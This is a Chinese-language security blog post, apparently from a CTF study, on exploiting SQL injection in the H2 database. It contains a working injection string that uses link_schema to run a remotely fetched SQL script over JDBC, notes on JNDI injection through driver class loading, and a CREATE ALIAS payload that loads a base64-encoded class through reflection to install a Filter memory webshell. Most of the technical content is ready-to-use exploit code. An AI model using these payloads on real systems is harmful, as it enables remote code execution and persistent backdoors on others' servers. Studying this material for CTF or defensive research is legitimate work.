文章首发先知社区:https://xz.aliyun.com/news/16831
起初是在N1 Junior 2025 上面碰到一题,考点是h2的sql注入。由于之前没有见过,趁此机会系统学习一番
实验代码 public class H2Inject { public static void main(String[] args) throws Exception{ JdbcDataSource dataSource = new JdbcDataSource(); dataSource.setURL("jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1"); dataSource.setUser("asd"); dataSource.setPassword(""); Connection connection = dataSource.getConnection(); Statement statement = connection.createStatement(); statement.execute("CREATE TABLE IF NOT EXISTS users (id INT PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL);"); statement.executeUpdate("INSERT INTO users (id, username, password) VALUES (1, 'admin', 'admin');"); String username = "admin"; statement.executeQuery(String.format("select * from users where username = '%s' ",username)); ResultSet resultSet = statement.getResultSet(); boolean next = resultSet.next(); while(next){ String string1 = resultSet.getString(1); String string2 = resultSet.getString(2); String string3 = resultSet.getString(3); System.out.println(string1); System.out.println(string2); System.out.println(string3); next = resultSet.next(); } } }
读文件 翻阅官方文档:
只输入文件名一个参数,效果也是一样的。
写文件
文件是成功写入的,为什么会报错呢?
Caused by: java.lang.NumberFormatException: For input string: “admin”
原因就是,获取结果的时候,先看第一行对应列是什么数据类型,决定了后面几行的数据类型。
file_write的返回结果是数字,所以决定了该列是数字类型,所以查询出来的”admin”转换成数字的时候就报错。
不过有个地方不明白,为什么union select后面的结果会到第一行去?
发起jdbc连接
link_schema是表函数,接在from的后面。
既然可以使用jdbc连接,那么就去连接h2数据库,并且设置INIT脚本,执行远程sql代码。
利用方式:
String username = "admin' union select 1,'1','1' from link_schema('TEST2', '', 'jdbc:h2:mem:testdb1;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ''http://127.0.0.1:8989/hello.sql''', 'sa', 'sa', 'PUBLIC')--";
这里存在引号嵌套,需要进行转义,有几个注意点:
h2中,单引号括起来的是字符串,双引号括起来的表示列名。
单引号转义,不用反斜杠,而是用2个单引号来表示一个单引号
假设题目不出网,则可以先将sql脚本写入到目标机器,再发起jdbc连接。
JNDI注入 我们分析link_schema函数的底层代码实现
看LinkSchemaFunction的getValue方法
后续会进入JdbcUtils的getConnection,注意driver和url两个参数
一直跟进,到下面的位置。
有2处利用,第一处,如果url以jdbc:h2开头,则发起jdbc连接,否则对driver进行类加载
跟进loadUserClass
首先检查allowedClassNames,这里默认是*,也就是所有类都allowed。
后面就是用Class.forName进行类加载。
类加载完成后,回到getConnection。
如果加载的类是驱动,则进行newInstance,如果是Context,则发起jndi连接。
那么直接加载javax.naming.InitialContext,打jndi。
可惜的是,高版本的h2依赖,添加了jndi限制,url必须以java:开头。
查看源码发现,2.1.x全版本都有限制,2.0.x < 2.0.206 无限制。
打内存马 继续发散, 假如题目不出网,无法弹shell,那就需要内存马,方便执行命令。
直接用Filter型内存马,首先写入到目标机器,再加载。
CREATE ALIAS EXEC AS ' void e(String cmd) throws Exception{ String evilClassBase64 = "yv66vgAAADQBTQoAIQC5CgC6ALsKALwAvQoAvAC+CgC6AL8KACEAwAoAwQC7BwDCCgAhAMMKAEgAxAoAIwDFCgDBAMYKAEkAxwoAyADJCgDIAMoHAMsIAH8KAEgAzAcAzQoAEwDOBwDPCADQBwDRCgAXAMcKABcA0ggA0woAFwDUBwDVCgAcAMcKABwA0goAHADWBwDXBwDYBwDZBwDaCgBIANsIAIoHANwKACYA3QoAFQDeCgAVAN8IAOALAOEA4gsA4wDkCADlCADmCgDnAOgKADQA6QgA6goANADrBwDsBwDtCADuCADvCgAzAPAIAPEIAPIHAPMKADMA9AoA9QD2CgA6APcIAPgKADoA+QoAOgD6CgA6APsKADoA/AoA/QD+CgD9AP8KAP0A/AsBAAEBBwECBwEDBwEEBwEFAQAVY3JlYXRlV2l0aENvbnN0cnVjdG9yAQBbKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABENv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EWnAAstKyy5AEYDAKcABToEsQABAAAAsQC0AEcAAwBOAAAASgASAAAAWAAKAFkADwBaABcAWwAbAF0AKwBeAEoAYABmAGMAfABkAJAAZQCVAGYAnABnAKEAaACmAGkAqQBqALEAbQC0AGwAtgBuAE8AAABmAAoARwADAI8AkAAHABcAjwCRAJIABQAbAIsAeABpAAYAZgBAAI8AkAAHAHwAKgCTAJQACAAKAKcAlQBpAAQAAAC3AHsAfAAAAAAAtwCWAJcAAQAAALcAmACZAAIAAAC3AJoAmwADAG0AAAA8AAj+AEoHAG8HAJwHAG/8ABsHAJ38ACUHAJ5BBwBv/wAaAAUHAJ8HAKAHAKEHAKIHAG8AAPoAB0IHAKMBAGAAAAAGAAIApAClAAEApgCnAAIATQAAAD8AAAADAAAAAbEAAAACAE4AAAAGAAEAAAByAE8AAAAgAAMAAAABAHsAfAAAAAAAAQCoAKkAAQAAAAEAqgCrAAIAYAAAAAQAAQCsAAEApgCtAAIATQAAAEkAAAAEAAAAAbEAAAACAE4AAAAGAAEAAAB3AE8AAAAqAAQAAAABAHsAfAAAAAAAAQCoAKkAAQAAAAEArgCvAAIAAAABALAAsQADAGAAAAAEAAEArAABALIAswACAE0AAAA1AAAAAgAAAAGxAAAAAgBOAAAABgABAAAAfABPAAAAFgACAAAAAQB7AHwAAAAAAAEAtAC1AAEAYAAAAAQAAQClAAEAtgB6AAEATQAAACsAAAABAAAAAbEAAAACAE4AAAAGAAEAAACBAE8AAAAMAAEAAAABAHsAfAAAAAEAtwAAAAIAuA=="; byte[] bytes = java.util.Base64.getDecoder().decode(evilClassBase64); java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); ((Class)method.invoke(ClassLoader.getSystemClassLoader(), "FilterShell", bytes, 0, bytes.length)).newInstance(); } '; CALL EXEC('calc');
测试代码
打入成功